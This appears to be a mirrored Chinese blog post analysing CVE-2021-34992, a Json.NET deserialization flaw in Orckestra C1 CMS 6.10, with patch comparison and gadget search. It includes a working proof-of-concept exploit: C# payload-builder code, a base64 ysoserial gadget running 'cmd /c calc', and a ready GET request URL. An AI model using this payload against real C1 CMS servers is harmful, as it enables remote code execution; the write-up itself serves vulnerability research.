4

CVE-2021-34992 Orckestra C1 CMS Deserialization RCE

 2 years ago
source link: https://y4er.com/post/cve-2021-34992-orckestra-c1-cms-deserialization-rce/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

CVE-2021-34992 Orckestra C1 CMS Deserialization RCE

2021-12-04 代码审计 dotnet rce

Orckestra C1 CMS 6.10存在 .net 反序列化漏洞,需要登录,成因是因为TypeNameHandling.Auto

下载 https://github.com/Orckestra/C1-CMS-Foundation/releases/download/v6.10/C1.CMS.6.10.zip

然后Visual Studio打开运行。

根据cve描述和补丁对比发现漏洞点存在于Composite.dll,使用github的对比发现在此commit中增加了对反序列化绑定类型的校验。

https://github.com/Orckestra/C1-CMS-Foundation/commit/73dc26050e5f3ffc31531aa332463de9398bc213

image.png

而我在之前的文章中写过,json.net如果使用了TypeNameHandling.All或者TypeNameHandling.Auto,会造成反序列化问题。官方建议如果使用TypeNameHandling要使用binder来控制反序列化的类型。

那么根据补丁我们来看6.10版本的CompositeSerializationBinder类

image.png

有漏洞的6.10版本中判断了assemblyName等于Composite.Generated并且typeName以CompositeGenerated开头,进行自写类的type逻辑处理,别的type直接调用基类,那么等于没做限制。

CompositeSerializationBinder被用在CompositeJsonSerializer类中,其中有两个静态方法需要注意

image.png

直接传入json字符串然后反序列化,并且TypeNameHandling为auto。

第二个静态方法比较关键

image.png

分别获取json中的meta:obj、meta:type,然后根据type反射获取其Deserialize方法,如果为空则调用上面的第一个静态方法,传入meta:obj标签的值,直接反序列化。

我们可以构造payload如下

{"meta:obj":"","meta:type":""}

当type获取不到静态Deserialize方法时,进入CompositeJsonSerializer.Deserialize<T>(text)

那么这两个点都可控,接着我们看哪里调用了这个方法。

image.png

EntityTokenSerializer.Deserialize(string)调用其两个参数的重载方法,经过CompositeJsonSerializer.IsJsonSerialized(serializedEntityToken)判断进入CompositeJsonSerializer.Deserialize<EntityToken>(serializedEntityToken, includeHashValue)

这里接受的类型为EntityToken,所以我们需要寻找EntityToken中可以存储payload的地方,例如一个object类型的字段。

我们可以通过几行代码来寻找哪些类继承了EntityToken类

        Assembly[] assemblies = AppDomain.CurrentDomain.GetAssemblies();
        foreach (var assembly in assemblies)
        {
            if (assembly.FullName.Contains("Composite"))
            {
                Type[] types = assembly.GetTypes();
                foreach (var type in types)
                {
                    try
                    {
                        if (!typeof(EntityToken).IsAssignableFrom(method.ReturnType))
                        {
                            continue;
                        }
                        else
                        {
                            var memberInfos = type.GetProperties(BindingFlags.NonPublic|BindingFlags.Instance|BindingFlags.Public);
                            foreach (var member in memberInfos)
                            {
                                resp($"type:{type.Name} 字段名:{member.Name} 类型:{member.PropertyType}");
                            }
                        }

                    }
                    catch
                    {
                    }
                }
            }
        }

image.png

发现DataGroupingProviderHelperEntityToken类中GroupingValues是一个Dictionary<string, object>类型,可以存放gadget。

那么可以构造payload

using Composite.C1Console.Elements.ElementProviderHelpers.DataGroupingProviderHelper;
using Newtonsoft.Json;
using System;
using System.Collections.Generic;
using System.IO;
using System.Runtime.Serialization;
using System.Security.Principal;
using System.Text;

namespace ConsoleApp1
{
    class Program
    {
        static void Main(string[] args)
        {
            // .\ysoserial.exe -f binaryformatter -g TextFormattingRunProperties -c calc --minify
            var windowsIdentity = new WindowsIdentityIdentityMarshal("AAEAAAD/////AQAAAAAAAAAMAgAAABtNaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAAD6AjxPYmplY3REYXRhUHJvdmlkZXIgTWV0aG9kTmFtZT0iU3RhcnQiIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbC9wcmVzZW50YXRpb24iIHhtbG5zOmE9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PVN5c3RlbSI+PE9iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT48YTpQcm9jZXNzPjxhOlByb2Nlc3MuU3RhcnRJbmZvPjxhOlByb2Nlc3NTdGFydEluZm8gQXJndW1lbnRzPSIvYyBjYWxjIiBGaWxlTmFtZT0iY21kIi8+PC9hOlByb2Nlc3MuU3RhcnRJbmZvPjwvYTpQcm9jZXNzPjwvT2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPjwvT2JqZWN0RGF0YVByb3ZpZGVyPgs=");
            Dictionary<string, object> dictionary = new Dictionary<string, object> { };
            dictionary.Add("asd", windowsIdentity);


            DataGroupingProviderHelperEntityToken dataGroupingProviderHelperEntityToken = new DataGroupingProviderHelperEntityToken(typeof(DataGroupingProviderHelperEntityToken).AssemblyQualifiedName);
            dataGroupingProviderHelperEntityToken.GroupingValues = dictionary;
            StringBuilder sb = new StringBuilder();
            using (StringWriter sw = new StringWriter(sb))
            using (JsonTextWriter writer = new JsonTextWriter(sw))
            {
                writer.QuoteChar = '\'';

                JsonSerializer ser = new JsonSerializer();
                ser.TypeNameHandling = TypeNameHandling.All;
                ser.Serialize(writer, dataGroupingProviderHelperEntityToken);
            }
            Console.WriteLine(sb);
            Console.ReadKey();
        }
    }

    [Serializable]
    public class WindowsIdentityIdentityMarshal : ISerializable
    {
        public WindowsIdentityIdentityMarshal(string b64payload)
        {
            B64Payload = b64payload;
        }

        private string B64Payload { get; }

        public void GetObjectData(SerializationInfo info, StreamingContext context)
        {
            Console.WriteLine(typeof(WindowsIdentity).AssemblyQualifiedName);
            info.SetType(typeof(WindowsIdentity));
            info.AddValue("System.Security.ClaimsIdentity.actor", B64Payload);
        }
    }
}

生成之后替换一下程序集名称

{'$type':'Composite.C1Console.Elements.ElementProviderHelpers.DataGroupingProviderHelper.DataGroupingProviderHelperEntityToken, Composite','Type':'Composite.C1Console.Elements.ElementProviderHelpers.DataGroupingProviderHelper.DataGroupingProviderHelperEntityToken, Composite, Version=6.10.7583.21856, Culture=neutral, PublicKeyToken=null','Source':'','Id':'','GroupingValues':{'$type':'System.Collections.Generic.Dictionary`2[[System.String, mscorlib],[System.Object, mscorlib]], mscorlib','asd':{'$type':'System.Security.Principal.WindowsIdentity, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089','System.Security.ClaimsIdentity.actor':'AAEAAAD/////AQAAAAAAAAAMAgAAABtNaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAAD6AjxPYmplY3REYXRhUHJvdmlkZXIgTWV0aG9kTmFtZT0iU3RhcnQiIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbC9wcmVzZW50YXRpb24iIHhtbG5zOmE9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PVN5c3RlbSI+PE9iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT48YTpQcm9jZXNzPjxhOlByb2Nlc3MuU3RhcnRJbmZvPjxhOlByb2Nlc3NTdGFydEluZm8gQXJndW1lbnRzPSIvYyBjYWxjIiBGaWxlTmFtZT0iY21kIi8+PC9hOlByb2Nlc3MuU3RhcnRJbmZvPjwvYTpQcm9jZXNzPjwvT2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPjwvT2JqZWN0RGF0YVByb3ZpZGVyPgs='}},'Payload':null,'SerializedTypeName':'Composite.C1Console.Elements.ElementProviderHelpers.DataGroupingProviderHelper.DataGroupingProviderHelperEntityToken, Composite, Version=6.10.7583.21856, Culture=neutral, PublicKeyToken=null'}

然后再找一下哪里调用了EntityTokenSerializer.Deserialize(serializedEntityToken);

c:\Website\Composite\content\views\relationshipgraph\Default.aspx.cs

image.png

直接get传入EntityToken进行反序列化。

由此构造payload

http://localhost:36859/Composite/content/views/relationshipgraph/Default.aspx?EntityToken={"meta:obj":"{'$type':'Composite.C1Console.Elements.ElementProviderHelpers.DataGroupingProviderHelper.DataGroupingProviderHelperEntityToken, Composite','Type':'Composite.C1Console.Elements.ElementProviderHelpers.DataGroupingProviderHelper.DataGroupingProviderHelperEntityToken, Composite, Version=6.10.7583.21856, Culture=neutral, PublicKeyToken=null','Source':'','Id':'','GroupingValues':{'$type':'System.Collections.Generic.Dictionary`2[[System.String, mscorlib],[System.Object, mscorlib]], mscorlib','asd':{'$type':'System.Security.Principal.WindowsIdentity, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089','System.Security.ClaimsIdentity.actor':'AAEAAAD%2F%2F%2F%2F%2FAQAAAAAAAAAMAgAAABtNaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAAD6AjxPYmplY3REYXRhUHJvdmlkZXIgTWV0aG9kTmFtZT0iU3RhcnQiIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbC9wcmVzZW50YXRpb24iIHhtbG5zOmE9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PVN5c3RlbSI%2BPE9iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT48YTpQcm9jZXNzPjxhOlByb2Nlc3MuU3RhcnRJbmZvPjxhOlByb2Nlc3NTdGFydEluZm8gQXJndW1lbnRzPSIvYyBjYWxjIiBGaWxlTmFtZT0iY21kIi8%2BPC9hOlByb2Nlc3MuU3RhcnRJbmZvPjwvYTpQcm9jZXNzPjwvT2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPjwvT2JqZWN0RGF0YVByb3ZpZGVyPgs%3D'}},'Payload':null,'SerializedTypeName':'Composite.C1Console.Elements.ElementProviderHelpers.DataGroupingProviderHelper.DataGroupingProviderHelperEntityToken, Composite, Version=6.10.7583.21856, Culture=neutral, PublicKeyToken=null'}","meta:type":"System.Security.Principal.WindowsIdentity, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"}

其中"meta:type":"System.Security.Principal.WindowsIdentity, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"这个类型可以随便给,只要实现序列化接口就行。

image.png

c1cms历史洞6.5版本以前还有一个CVE-2019-18211,也是EntityTokenSerializer出的问题,在EntityTokenSerializer.cs中,

image.png

如果不以{开头则进入DeserializeLegacy

image.png

而这个方法中可以调用任意类的Deserialize(string)静态方法,于是找到了Microsoft.Practices.EnterpriseLibrary.Logging.Formatters.BinaryLogFormatter

image.png

造成反序列化rce

文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK